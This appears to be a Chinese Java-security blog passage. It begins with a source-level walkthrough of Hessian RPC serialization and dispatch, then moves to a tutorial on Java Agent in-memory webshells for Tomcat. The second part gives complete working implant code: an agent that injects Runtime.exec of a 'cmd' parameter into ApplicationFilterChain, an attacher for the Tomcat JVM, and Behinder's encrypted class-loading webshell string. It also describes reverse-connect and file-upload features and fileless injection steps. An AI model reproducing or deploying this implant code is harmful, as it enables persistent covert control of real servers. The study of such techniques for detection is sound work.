AppClassLoader),这是加载用户类的默认类加载器。相比直接使用 SystemClassLoader,这种方式会更快速地找到当前应用需要的类。由于 AppClassLoader 通常直接与用户代码绑定,这种方法保证了 HessianServlet 能快速、准确地访问到应用中定义的类,而不必依赖于更高层次的类加载器(如 BootStrapClassLoader 或 ExtClassLoader),从而减少不必要的加载和可能的冲突。 这种设计可以让 HessianServlet 在不同的类加载器环境中工作时更稳定,同时更高效地访问应用的自定义类。 接下来是 HessianServlet 的 service 方法: 可以看到,如果请求方式不是 POST ,直接返回 500 状态码,也就是说这边只能用 POST 方式来请求服务。在获取了 objectId 和 serializerFactory 之后,实际调用 invoke 方法来进行处理。 HessianServlet 的 invoke 方法根据 objectId 的不同,选择调用其成员属性 _objectSkeleton 还是 _homeSkeleton 来处理: 而这两者都是 HessianSkeleton 类型,所以接下来毫无疑问会进入 HessianSkeleton 的 invoke 方法。Skeleton 一般表示服务端用于处理客户端请求的“骨架”。 HessianSkeleton 解析HessianSkeleton 初始化时先调用父类 AbstractSkeleton 的初始化方法,然后将当前提供远程服务的 Servlet 类封装到成员变量 _service 中: 而其父类 AbstractSkeleton 初始化时则会将当前提供服务的 Servlet 类的所有方法和参数放进成员变量 _methodMap 中: 调试起来可以知道这里的 apiClass 就是 GreetingServiceServlet : 接着来看 HessianSkeleton 的 invoke 方法,HessianServlet 最终是调用到 HessianSkeleton 的 invoke(InputStream, OutputStream, SerializerFactory) 方法: 这个方法主要是根据 header 字段的不同,通过不同的方式获取到序列化与反序列化字节流,并最终调用 invoke(Object, AbstractHessianInput, AbstractHessianOutput) 来处理。从处理方式也可以看出是兼容了 hessian 1.0 和 hessian 2.0 。 invoke(Object, AbstractHessianInput, AbstractHessianOutput) 方法则是将参数反序列化,进行远程方法的调用并将结果写入序列化字节流: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107public void invoke(Object service, AbstractHessianInput in, AbstractHessianOutput out) throws Exception{ ServiceContext context = ServiceContext.getContext(); // backward compatibility for some frameworks that don't read // the call type first in.skipOptionalCall(); // Hessian 1.0 backward compatibility // Hessian 1.0 向后兼容性处理,循环读取客户端传递的请求头信息并存储在 ServiceContext 中。 String header; while ((header = in.readHeader()) != null) { Object value = in.readObject(); context.addHeader(header, value); } // 读取客户端请求的远程方法名 methodName 和参数个数 argLength String methodName = in.readMethod(); int argLength = in.readMethodArgLength(); Method method; // 尝试根据方法名和参数数量组合(如 methodName__argLength)查找对应的方法 method = getMethod(methodName + "__" + argLength); // 如果没有找到,则仅使用方法名进行查找,以便兼容不同参数的重载方法。 if (method == null) method = getMethod(methodName); if (method != null) { } // 如果请求的方法名为 _hessian_getAttribute,则认为这是一个特殊的系统调用, // 用于获取服务的特定属性(如 java.api.class、java.home.class 等),返回相应的属性值。 else if ("_hessian_getAttribute".equals(methodName)) { String attrName = in.readString(); in.completeCall(); String value = null; if ("java.api.class".equals(attrName)) value = getAPIClassName(); else if ("java.home.class".equals(attrName)) value = getHomeClassName(); else if ("java.object.class".equals(attrName)) value = getObjectClassName(); out.writeReply(value); out.close(); return; } else if (method == null) { out.writeFault("NoSuchMethodException", escapeMessage("The service has no method named: " + in.getMethod()), null); out.close(); return; } Class<?> []args = method.getParameterTypes(); if (argLength != args.length && argLength >= 0) { out.writeFault("NoSuchMethod", escapeMessage("method " + method + " argument length mismatch, received length=" + argLength), null); out.close(); return; } Object []values = new Object[args.length]; // 将参数值反序列化保存在 values 数组中。 for (int i = 0; i < args.length; i++) { // XXX: needs Marshal object values[i] = in.readObject(args[i]); } Object result = null; try { // 方法调用 result = method.invoke(service, values); } catch (Exception e) { Throwable e1 = e; if (e1 instanceof InvocationTargetException) e1 = ((InvocationTargetException) e).getTargetException(); log.log(Level.FINE, this + " " + e1.toString(), e1); out.writeFault("ServiceException", escapeMessage(e1.getMessage()), e1); out.close(); return; } // The complete call needs to be after the invoke to handle a // trailing InputStream in.completeCall(); // 结果写入序列化字节流 out.writeReply(result); out.close();} HessianServiceExporter 解析org.springframework.remoting.caucho.HessianServiceExporter 是在 Spring 项目中用来提供 hessian 服务的关键类,下面来看它的源码。 HessianServiceExporter 实现了 HttpRequestHandler 接口,重写了 handleRequest 方法: 这边也是一样只能用 POST 方式请求。然后将请求和响应的字节流传入父类的 invoke 方法进行处理。 父类 HessianExporter 的 invoke 方法也是直接调用 doInvoke : HessianExporter 的 doInvoke 方法流程其实跟 HessianSkeleton 的 invoke(InputStream, OutputStream, SerializerFactory) 方法差不多,最后调用到 HessianSkeleton 的 invoke(AbstractHessianInput, AbstractHessianOutput) 方法: 后续就是调 HessianSkeleton 的 invoke(Object, AbstractHessianInput, AbstractHessianOutput) 方法,前面已经分析过了。 序列化与反序列化解析Hessian 提供了 AbstractHessianInput/AbstractHessianOutput 两个接口来实现序列化和反序列化功能。Hessian/Hessian2/Burlap 都有各自的实现逻辑。 序列化先来看序列化,AbstractHessianOutput 提供了一系列 writeXxx 方法来将不同类型的数据序列化: 以其实现类 Hessian2Output 为例,writeObject 方法实现了将对象序列化的功能: 这里是先根据对象的类型获取了一个序列化器 Serializer ,然后调用其 writeObject 方法。 查看 com.caucho.hessian.io.Serializer 的继承关系可知,一共有这么些序列化器用来处理不同类型的数据: 不过对于自定义的类,将会使用 JavaSerializer/UnsafeSerializer/JavaUnsharedSerializer 进行相关的序列化动作,默认情况下是 UnsafeSerializer : 既然默认调用到的是 UnsafeSerializer 的 writeObject 方法,我们就来关注一下它: 123456789101112131415161718192021222324252627@Overridepublic void writeObject(Object obj, AbstractHessianOutput out) throws IOException { // 检查是否已经序列化过该对象 if (out.addRef(obj)) { // 如果已序列化过则直接写引用(避免重复序列化相同对象) return; } // 获取对象的类信息 Class<?> cl = obj.getClass(); // 写入对象的初始定义并获取引用 int ref = out.writeObjectBegin(cl.getName()); // 根据 Hessian 协议版本做不同处理 if (ref >= 0) { // 如果 ref >= 0,表示该对象已经写入过结构定义,仅需要写入实例 writeInstance(obj, out); } else if (ref == -1) { // 如果 ref == -1,表示是 Hessian 2.0 的初次定义,需写入对象的结构定义 writeDefinition20(out); // 定义对象结构(字段名和类型) out.writeObjectBegin(cl.getName()); // 再次标记对象起始 writeInstance(obj, out); // 写入实例字段值 } else { // 如果 ref < 0,表示使用 Hessian 1.0 协议格式进行序列化 writeObject10(obj, out); // 使用 Hessian 1.0 写入完整对象数据 }} Hessian2Output 是调用 writeObjectBegin 将对象标记为 Object 类型,也即在开头写入 Object 标识符,并最终调用 writeInstance 来处理。而在 Hessian 1.0 和 Burlap 中,写入自定义数据类型(Object)时,都会调用 writeMapBegin 方法将其标记为 Map 类型,也即在开头写入 Map 标识符。从序列化的差异也能猜出反序列化的不同。 UnsafeSerializer 的 writeInstance 方法则是遍历其成员属性 _fieldSerializers 中的每一个序列化器,都调用其 serialize 方法处理一遍: 成员属性 _fieldSerializers 中的序列化器则可以是其内部定义的任何序列化器: 那么 _fieldSerializers 是如何赋值的呢? 构造方法 -> introspect(Class<?> cl) -> getFieldSerializer(Field field) 根据不同的字段类型获取不同的内部 Serializer 。 字段类型从哪来? 字段类型来自于类的属性类型,比如一个序列化的类有 String 和 int 两种类型的属性,那么就会获取到 StringFieldSerializer 和 IntFieldSerializer 两种序列化器。 而在序列化器中,对于基本类型的属性的序列化,事实上最终还是调用到 Hessian2Output 的 writeXxx : 对于对象的序列化,最终调用 Hessian2Output 的 writeObject ,又是一个新的轮回,再次解构字段的字段。 AbstractHessianOutput 其实提供了 writeObjectBegin 方法,只不过里面是直接调用 writeMapBegin : Hessian2Output 重写了此 writeObjectBegin 方法,给出了具体的实现。而在 hessian 1.0 版本中,HessianOutput 并没有重写此方法,所以当 UnsafeSerializer 的 writeObject 方法调用 HessianOutput 的 writeObjectBegin 方法时,实际上是调用 writeMapBegin 写入 Map 标识符。 反序列化反序列化的关键方法是 AbstractHessianInput#readObject() ,我们主要关注其实现类 Hessian2Input 的 readObject() 方法: 先从流中读取第一个字符,根据不同的首字符调用不同的处理逻辑。比如第一个字符是 C ,则进入对象的处理逻辑: 再一次进入 readObject ,根据运算得到 tag 为 96 ,进入下面的处理逻辑: 于是接着调用 readObjectInstance 方法,从流中获取类型和字段: 接着调用 readObject(AbstractHessianInput, Object[]) 方法,实例化该对象: instantiate() 中使用 _unsafe 直接创建类实例: 最后调用 readObject(AbstractHessianInput, Object, FieldDeserializer2[]) 反序列化字段值: 这里面实际上也是用 unsafe 写入字段值: 至此,Hessian2Input 的反序列化就完成了。 那么 HessianInput 跟它的差异在哪里呢? 前面提到,对于自定义对象,HessianOutput 会调用 writeMapBegin 写入 Map 标识符。所以反序列化时读到的第一个字符也是 Map 标识。实际上 HessianInput 是调用 readMap 来处理的,也就是说 hessian 1.0 把对象看作 Map 集合来序列化和反序列化: 而 SerializerFactory#readMap(AbstractHessianInput, String) 也是直接调到 UnsafeDeserializer#readMap(AbstractHessianInput): UnsafeDeserializer#readMap(AbstractHessianInput) 实际上跟前面相似,先用 unsafe 创建对象,再调用 readMap(AbstractHessianInput, Object) 通过 unsafe 注入字段值: readMap(AbstractHessianInput, Object) 从流中获取 key(即字段名) ,从 _fieldMap 中根据 key 获取 value(即字段值),然后通过 unsafe 将值注入: 这就是 hessain 1.0 的反序列化流程。 远程调用过程解析就以 Servlet 方式为例,我们来分析一下客户端的远程调用逻辑,客户端代码如下: 123456789101112131415import com.caucho.hessian.client.HessianProxyFactory;public class HessianClient { public static void main(String[] args) { String url = "http://localhost:8080/ServletBase_war/greeting"; // 替换为实际服务地址 HessianProxyFactory factory = new HessianProxyFactory(); try { GreetingService service = (GreetingService) factory.create(GreetingService.class, url); String result = service.sayHello("World"); System.out.println(result); // 输出: Hello, World! } catch (Exception e) { e.printStackTrace(); } }} 这里关键的类是 HessianProxyFactory ,我们用它的 create 方法就获取到了远程对象。 经过一系列重构方法的调用,最终是调用到 create(Class<?>, URL, ClassLoader) 方法,可以看到是利用 HessianProxy 创建了一个代理对象并返回: 那么这个代理对象的任意方法被调用都会触发 HessianProxy 的 invoke 方法。 在客户端代码中,接下来就会调用这个代理对象的方法,所以 invoke 方法一定会被触发,我们来关注一下 HessianProxy 的 invoke 方法,只需要关注几个重点就可以了。 主要是调用 sendRequest 发送请求,然后接收响应并反序列化字节流: 而 sendRequest 方法中主要是调用 call 方法将参数序列化写入字节流,最后调用 conn.sendRequest() 将请求发送至服务器: call 方法: 大致的过程就是这样。 服务端的处理逻辑就是调用 HessianServlet 的 service 方法来处理请求 ,前面已经分析过了。 调用栈总结Servlet Hessian 客户端调用栈: 1234567-> HessianProxyFactory#create(Class, String) HessianProxyFactory#create(Class<?>, String, ClassLoader) HessianProxyFactory#create(Class<?>, URL, ClassLoader) # 返回代理对象-> HessianProxy#invoke(Object, Method, Object[]) # 建立连接,发送请求并接收响应 HessianProxy#sendRequest(String, Object[]) -> HessianOutput#call(String, Object[]) # 参数序列化 -> HessianURLConnection#sendRequest() # 向服务端发送请求 Servlet Hessian 服务端调用栈: 1234HessianServlet#service(ServletRequest, ServletResponse)HessianServlet#invoke(InputStream, OutputStream, String, SerializerFactory)HessianSkeleton#invoke(InputStream, OutputStream, SerializerFactory)HessianSkeleton#invoke(Object, AbstractHessianInput, AbstractHessianOutput) # 参数反序列化,方法执行,结果返回 Spring Hessian 服务端调用栈: 12345HessianServiceExporter#handleRequest(HttpServletRequest, HttpServletResponse)HessianExporter#invoke(InputStream, OutputStream)HessianExporter#doInvoke(HessianSkeleton, InputStream, OutputStream)HessianSkeleton#invoke(AbstractHessianInput, AbstractHessianOutput)HessianSkeleton#invoke(Object, AbstractHessianInput, AbstractHessianOutput) # 参数反序列化,方法执行,结果返回 Hessian2Output 序列化调用栈: 1234Hessian2Output#writeObject(Object)UnsafeSerializer#writeObject(Object, AbstractHessianOutput)-> Hessian2Output#writeObjectBegin(String) # 开头写入对象标识符-> UnsafeSerializer#writeInstance(Object, AbstractHessianOutput) # 序列化字段值 Hessian2Output 反序列化调用栈: 1234567Hessian2Input#readObject()Hessian2Input#readObject() # 再次调用Hessian2Input#readObjectInstance(Class<?>, ObjectDefinition)UnsafeDeserializer#readObject(AbstractHessianInput, Object[])-> UnsafeDeserializer#instantiate() # 使用 unsafe 创建类实例-> UnsafeDeserializer#readObject(AbstractHessianInput, Object, FieldDeserializer2[]) FieldDeserializer2FactoryUnsafe$XxxFieldDeserializer#deserialize(AbstractHessianInput, Object) # 使用 unsafe 写入字段值 参考文章su18 - Hessian 反序列化漏洞 Tomcat - JNDI 资源使用方法","categories":["Java 安全"]},{"title":"漏洞篇 - JavaAgent 内存马","path":"/2024/10/31/Java 安全/漏洞篇-JavaAgent内存马/","content":"本文的前置知识:基础篇 - Java Agent 详解 。 Java Agent 允许开发者在 JVM 运行时通过修改类的字节码,那么它其实就相当于 JVM 层面的一个拦截器或者说增强代理(类似于 AOP),既然如此,我们就可以在一些类中插入我们想要的代码逻辑。 实现思路注入 ApplicationFilterChain冰蝎作者 rebeyond 师傅的内存马项目(https://github.com/rebeyond/memShell)选取 ApplicationFilterChain 的 internalDoFilter 方法作为 hook 点,在 Tomcat 的运行过程中,ApplicationFilterChain 的 internalDoFilter 方法会被反复调用以执行过滤器的 DoFilter 方法。 为什么选择 ApplicationFilterChain 的 internalDoFilter 方法呢?一是它会经常被调用,二是该方法的两个参数(ServletRequest 和 ServletResponse)可以方便的处理请求信息,输出响应信息。这满足了内存马获取 Request 的条件以及输出回显的条件。 在 Agent.java 中定义了 agentmain 方法,其中注册了自定义转换器 Transformer : 自定义类 Transformer 中重写了 transform 方法,利用 javassist 获取到了 ApplicationFilterChain 的 internalDoFilter 方法,用 insertBefore 方法将 readSource() 方法的返回值插入到获取方法的最前面: readSource() 方法读取了一个 source.txt ,也就是说将这个文件中的内容插入了方法体: source.txt 中定义了要插入的逻辑: 代码就不放全了,简要总结一下: $1、$2 是 javassist 中的写法,表示方法的参数 1 和参数 2 。 获取参数:首先从 HttpServletRequest 中提取 pass_the_world 和 model 参数,其中: pass_the_world 作为一个访问密码,用于校验请求的合法性。 model 表示执行操作的类型,不同的值对应不同的功能。 验证密码:如果 pass_the_world 不为空,且等于 net.rebeyond.memshell.Agent.password(即预设的密码),则认为验证通过,进入逻辑处理;否则,终止操作。 操作分支:根据 model 参数的值,执行对应的操作逻辑: 帮助信息 (help):如果 model 为空或未指定,调用 net.rebeyond.memshell.Shell.help() 方法,返回帮助信息。 命令执行 (exec):从请求参数中获取 cmd,并调用 Shell.execute(cmd) 方法执行系统命令,将结果返回。 反向连接 (connectback):从请求参数中获取 ip 和 port,调用 Shell.connectBack(ip, port) 建立反向连接。 文件下载 (urldownload):从请求中获取 url 和 path 参数,调用 Shell.urldownload(url, path) 下载文件到指定路径。 目录列表 (list):从请求中获取 path 参数,调用 Shell.list(path) 列出指定路径下的文件。 删除文件 (del):从请求中获取 path 参数,调用 Shell.delete(path) 删除指定路径的文件。 显示文件内容 (show):从请求中获取 path,调用 Shell.showFile(path) 显示文件内容。 文件下载 (download):从请求中获取 path,将对应文件的内容作为附件响应回客户端。 文件上传 (upload):从请求中获取 path、content 和 type 参数,通过 Shell.upload(path, fileContent, type) 将内容上传至服务器指定路径。 代理 (proxy):调用 net.rebeyond.memshell.Proxy().doProxy(request, response) 方法实现请求代理。 chopper木马 (chopper):通过 net.rebeyond.memshell.Evaluate().doPost(request, response) 执行远程代码。 响应输出:每个操作的结果会被写入 response 对象的输出流中返回给客户端。 可以看到这里实现了非常多不同的功能。 仿照上面的思路,我们可以插入对应的执行逻辑,实现一个较为简易的内存马。 首先是入口类 TestAgent ,其中定义了 agentmain 方法: 1234567891011121314151617181920package InjectApplicationFilterChain;import java.lang.instrument.Instrumentation;public class TestAgent { public static void agentmain(String agentArgs, Instrumentation inst) { inst.addTransformer(new TestTransform(), true); Class[] loadedClasses = inst.getAllLoadedClasses(); for (int i = 0; i < loadedClasses.length; ++i) { Class clazz = loadedClasses[i]; if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) { try { inst.retransformClasses(new Class[]{clazz}); } catch (Exception e) { e.printStackTrace(); } } } }} 然后是自定义转换器 TestTransform ,其中重写了 transform 方法,通过 javassist 获取 ApplicationFilterChain 的 internalDoFilter 方法,并在其中插入逻辑: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152package InjectApplicationFilterChain;import javassist.*;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class TestTransform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { try { System.out.println(classBeingRedefined.getName()); // 获取 CtClass 对象的容器 ClassPool ClassPool classPool = ClassPool.getDefault(); // 添加额外的类搜索路径 if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); } // 获取目标类 CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain"); // 获取目标方法 CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter"); // 设置要插入的内容 String body ="javax.servlet.ServletRequest req = request; " + "javax.servlet.ServletResponse res = response;" + "String cmd = req.getParameter(\\"cmd\\"); " + "if (cmd != null) { " + "Process process = Runtime.getRuntime().exec(cmd); " + "java.io.BufferedReader bufferedReader = new java.io.BufferedReader( " + "new java.io.InputStreamReader(process.getInputStream())); " + "StringBuilder stringBuilder = new StringBuilder(); " + "String line; " + "while ((line = bufferedReader.readLine()) != null) { " + "stringBuilder.append(line + '\\ '); " + "} " + "res.getOutputStream().write(stringBuilder.toString().getBytes()); " + "res.getOutputStream().flush(); " + "res.getOutputStream().close(); " + "}"; // 插入到方法开头 ctMethod.insertBefore(body); // 返回目标类字节码 return ctClass.toBytecode(); } catch (Exception e) { e.printStackTrace(); } return null; }} 利用这两个类生成 Agent jar 包,MANIFEST.MF 文件内容如下: 12345Manifest-Version: 1.0Created-By: miaojiAgent-Class: InjectApplicationFilterChain.TestAgentCan-Redefine-Classes: trueCan-Retransform-Classes: true 最后主类 TestMain attach 到 Tomcat 对应的 JVM 虚拟机,并加载对应的 Agent jar 包,Tomcat 运行起来后,对应的 JVM 虚拟机名称是 org.apache.catalina.startup.Bootstrap: 123456789101112131415161718192021222324252627package InjectApplicationFilterChain;import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class TestMain { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { // 调用 VirtualMachine.list() 获取正在运行的 JVM 列表 List<VirtualMachineDescriptor> list = VirtualMachine.list(); // System.out.println(list); for (VirtualMachineDescriptor vmd : list) { // System.out.println(vmd.displayName()+":"+vmd.id()); // 遍历每一个正在运行的 JVM,找到属于 Tomcat 的 JVM 名称 if (vmd.displayName().contains("org.apache.catalina.startup.Bootstrap")) { System.out.println(vmd.displayName() + ":" + vmd.id()); // 连接指定 JVM VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); // 加载 Agent virtualMachine.loadAgent("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\JavaAgentTest\\\\target\\\\JavaAgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar"); // 断开 JVM 连接 virtualMachine.detach(); } } }} 当然,在运行主类之前,我们要先运行一个 Tomcat 。 注入成功: 注入 HttpServlet很多 Servlet 都会选择继承 javax.servlet.http.HttpServlet 并重写其中的 service 方法,所以注入 HttpServlet 的 service 方法会更具通用性。 那么直接来看冰蝎中的实现,位于 net.rebeyond.behinder.resource.tools.MemShell 的 agentmain 方法。在这个方法中,HashMap 类 targetClasses 存放了要注入的类、方法和参数信息,并且提到了两个类:javax.servlet.http.HttpServlet 和 jakarta.servlet.http.HttpServlet ,也就是说这两个类都会被作为注入的对象: 如果检测到目标网站用的 weblogic ,那么选择注入 weblogic.servlet.internal.ServletStubImpl 类,这是因为 weblogic 调用 servlet 的逻辑不一样: 接着就是遍历所有已加载的类(这里的 cLasses 是方法第一行用 inst.getAllLoadedClasses() 获取到的),如果找到了 targetClasses 匹配的类名,就在对应的方法中注入 shellCode : 这里并没有用到自定义转换器 ClassFileTransformer 的子类,而是直接调用 Instrumentation 的 redefineClasses 方法,将已经修改好的字节码内容直接替换进去,不需要重新加载类。 插入的内容 shellcode 是冰蝎中定义的全局变量,位于 net.rebeyond.behinder.core.Constants : 1public static String shellCode = "javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1; javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2; javax.servlet.http.HttpSession session = request.getSession(); String pathPattern=\\"%s\\"; if (request.getRequestURI().matches(pathPattern)) { \\tjava.util.Map obj=new java.util.HashMap(); \\tobj.put(\\"request\\",request); \\tobj.put(\\"response\\",response); \\tobj.put(\\"session\\",session); ClassLoader loader=this.getClass().getClassLoader(); \\tif (request.getMethod().equals(\\"POST\\")) \\t{ \\t\\ttry \\t\\t{ \\t\\t\\tString k=\\"e45e329feb5d925b\\"; \\t\\t\\tsession.putValue(\\"u\\",k); \\t\\t\\t \\t\\t\\tjava.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader(); \\t\\t\\tClass cipherCls=systemLoader.loadClass(\\"javax.crypto.Cipher\\"); \\t\\t\\tObject c=cipherCls.getDeclaredMethod(\\"getInstance\\",new Class[]{String.class}).invoke((java.lang.Object)cipherCls,new Object[]{\\"AES\\"}); \\t\\t\\tObject keyObj=systemLoader.loadClass(\\"javax.crypto.spec.SecretKeySpec\\").getDeclaredConstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]{k.getBytes(),\\"AES\\"});; \\t\\t\\t \\t\\t\\tjava.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod(\\"init\\",new Class[]{int.class,systemLoader.loadClass(\\"java.security.Key\\")}); \\t\\t\\tinitMethod.invoke(c,new Object[]{new Integer(2),keyObj}); \\t\\t\\tjava.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod(\\"doFinal\\",new Class[]{byte[].class}); java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream(); byte[] buf = new byte[512]; int length=request.getInputStream().read(buf); while (length>0) { bos.write(buf,0,length); length=request.getInputStream().read(buf); } byte[] requestBody=bos.toByteArray(); \\t\\t\\tbyte[] buf=(byte[])doFinalMethod.invoke(c,new Object[]{requestBody}); \\t\\t\\tjava.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod(\\"defineClass\\", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class}); \\t\\t\\tdefineMethod.setAccessible(true); \\t\\t\\tjava.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class}); \\t\\t\\tconstructor.setAccessible(true); \\t\\t\\tjava.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader}); \\t\\t\\tjava.lang.Class c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(buf),null}); \\t\\t\\tc.newInstance().equals(obj); \\t\\t} \\t\\tcatch(java.lang.Exception e) \\t\\t{ \\t\\t e.printStackTrace(); \\t\\t} \\t\\tcatch(java.lang.Error error) \\t\\t{ \\t\\terror.printStackTrace(); \\t\\t} \\t\\treturn; \\t}\\t } "; 这样的 java agent 类生成的 jar 包位于 net.rebeyond.behinder.resource.tools.tools_1.jar 使用这个 jar 包 attach JVM 的地方是在 net.rebeyond.behinder.payload.java.MemShell 的 doInjectAgent 方法中: 其中 libPath 应当是指示 jar 包所在的路径。 分析完了冰蝎中的注入逻辑,既然已经有了这么完美的代码,那我也不再重复造轮子了。 使用 javaAgent 理论上可以在任何类的任何方法注入逻辑,但是注入内存马一般选能够获取到 request 和 response 的地方,这样方便接收请求输出响应。例如 X1r0z 师傅提到的 org.apache.catalina.core.StandardWrapperValve#invoke ,或者是 su18 师傅提到的 org.springframework.web.servlet.DispatcherServlet#doService ,总之多种多样: (粗体为推荐使用的类) org.apache.tomcat.websocket.server.WsFilter org.springframework.web.servlet.DispatcherServlet org.apache.catalina.core.ApplicationFilterChain org.apache.catalina.core.StandardContextValve javax.servlet.http.HttpServlet( Tomcat 10 之后,javax 变成 jarkara;Weblogic 环境下是 weblogic ) 注入方法由于作者水平有限,所以注入方法也只能粗略的谈谈。 Agent 技术依赖于 jar 包,所以想要注入 Agent 内存马,一定要有一个 jar 包落地,所以在过去的利用方式中常常需要上传 jar 包: 2018 年,《利用“进程注入”实现无文件复活 WebShell》一文首次提出 memShell(内存马)概念,利用 Java Agent 技术向 JVM 内存中植入 webshell ,并在 github 上发布 memShell 项目。项目中对内存马的植入过程比较繁琐,需要三个步骤: 上传 inject.jar 到服务器用来枚举 jvm 并进行植入; 上传 agent.jar 到服务器用来承载 webshell 功能; 执行系统命令 java -jar inject.jar 。 2020 年,Behinder(冰蝎) v3.0 版本更新中内置了 Java 内存马注入功能,此次更新利用 self attach 技术,将植入过程由上文中的 3 个步骤减少为 2 个步骤: 上传 agent.jar 到服务器用来承载 webshell 功能; 冰蝎服务端调用 Java API 将 agent.jar 植入自身进程完成注入。 而后,为了解决需要文件落地的问题,rebeyond 和游望之师傅提出了更好的方案。为了方便理解接下来的内容,这里转载 cincly 师傅对于 JVM 类加载流程的总结。 JVM 类加载流程关于类的加载流程,可以从三个方面去入手: 正常的类加载流程 被 redefineClasses 后的类的加载流程 被 retransformClasses 后的类的加载流程 这一块的代码详细分析起来比较占用篇幅,这里主要阐述一下相关逻辑,以及关键步骤代码。有兴趣的可以自己跟着分析一下代码。 下面是 cincly 师傅整理的 java 类的加载流程图,可结合图下面的文字阐述进行理解: java 类在内存中是以 InstanceKlass 的形式存在的,这个 InstanceKlass 中便包含了类中所定义的变量、方法等信息。需要注意的是,当我们使用 java agent 技术时,虽然我们可以在 ClassFileTransformer.transform 中能拿到指定类的字节码,但内存中默认情况下其实是不会保存 java 类的原始字节码的。 正常的 java 类加载时,会从指定位置(一般也就是本地的 jar 包中)获取到类字节码,然后会经过 JvmtiClassFileLoadHookPoster 的转换后,得到最终的字节码。然后编译为对应的 InstanceKlass,当然在编译时会进行相应的优化,不过与本主题无关,这里不进行赘述。 而这个 JvmtiClassFileLoadHookPoster 中维护着一个 JvmtiEnv 链 ,我们所用到的 java agent 技术中,当 agent 加载时,其实就是在这个 JvmtiEnv 链上添加一个 JvmtiEnv 节点,从而修改类的字节码,如 post_all_envs() 中所示。 JvmtiEnv 实例中有个关键的变量: _env_local_storage,这个变量所对应的类型是_JPLISEnvironment,从中我们可以看到与之关联的 JPLISAgent。而这个 JPLISAgent 就是 InstrumentationImpl 构造方法中的 mNativeAgent 。从这个 _JPLISAgent 中我们也可找到对应的 instrumentation 实例,以及其要执行的方法: mTransform,也就是 InstrumentationImpl 类中的 transform 方法。 对于 JvmtiEnv 节点来说,具体的转换流程便是通过 callback 而实现的,具体的 callback 方法便是eventHandlerClassFileLoadHook,从中我们可以看到这个回调函数便是在 transformClassFile 方法中调用的 InstrumentationImpl 对象的 transform 方法,这样便回到了我们熟知的 java 代码中。 redefineClasses,顾名思义,重定义一个类,与普通的类加载流程相比,这里主要就是将类的来源更换为指定的字节码。具体的类加载流程并无太大差别。 当 java 类要被 retransformClasses转换时,会根据 InstanceKlass 重新生成一份对应的类字节码,并存入缓存中InstanceKlass._cached_class_file,下次再被 retransformClasses 时将直接使用缓存中的类字节码。 与正常的类加载流程相比,被 retransformClasses 所重新加载的类,不会再经过 no retransformable jvmti 链的处理。 java agent 在被加载时(onLoad / onAttach),jvm 将创建一个 jvmtiEnv 实例,对应了上图中的 no retransformable jvmti 链。 当第一次添加 retransformer(也就是在 addTransformer 时指定 canRetransform 为 true)时,会通过 setHasRetransformableTransformers 方法在 jvmti 链上追加一个新的节点,也就是上图中的 retransformable jvmti 链。 关于图中的 no retransformable jvmti 链 与 retransformable jvmti 链,其实都是在一条链表上,只不过在使用时根据 env->is_retransformable() 而分为两批使用。在类加载或是被重定义时,对我们在 java agent 中添加的 transformer 来说,普通的 transformer 永远在 canRetransform 为 true 的 transformer 之前执行。 无 agent 文件注入其实 agent 的 jar 包与 loadagent 加载最后都是为了产生 Instrumentation 对象,我们需要的是这个对象的 redefineClasses 方法或者 retransformClasses 方法来重新加载字节码,而这个重新加载的过程只需要提供字节码。那么有没有一种办法脱离 agent jar 包直接获取 Instrumentation 对象呢?游望之在 Linux 下内存马进阶植入技术一文中提出这个方法。 获取 Instrumentation 对象java.lang.instrument.Instrumentation 接口的实现类 java.sun.instrument.InstrumentationImpl 有一个指针 nativeAgent ,它是一个 native 指针(native 是一个函数,一个 Native Method 就是一个 Java 调用非 Java 代码的接口。 方法的实现由非 Java 语言实现,比如 C 或 C++ 。): 获取 nativeAgent 指针接下来要想办法获得这个 nativeAgent 指针,为更底层的调用操作做铺垫。如何获得 nativeAgent 指针呢?先追踪 mNativeAgent 参数。mNativeAgent 被传入 redefineClasses0 方法: redefineClasses0 方法在 Java 层的定义如下: native 层在 idea 中没法跟进了,直接复制代码看吧。 redefineClasses0 方法的实现是这样的: 12345678910111213141516171819202122232425262728293031323334353637383940/* * Class: sun_instrument_InstrumentationImpl * Method: redefineClasses0 * Signature: ([Ljava/lang/instrument/ClassDefinition;)V */JNIEXPORT void JNICALL Java_sun_instrument_InstrumentationImpl_redefineClasses0 (JNIEnv * jnienv, jobject implThis, jlong agent, jobjectArray classDefinitions) { redefineClasses(jnienv, (JPLISAgent*)(intptr_t)agent, classDefinitions);}/* * Java code must not call this with a null list or a zero-length list. */voidredefineClasses(JNIEnv * 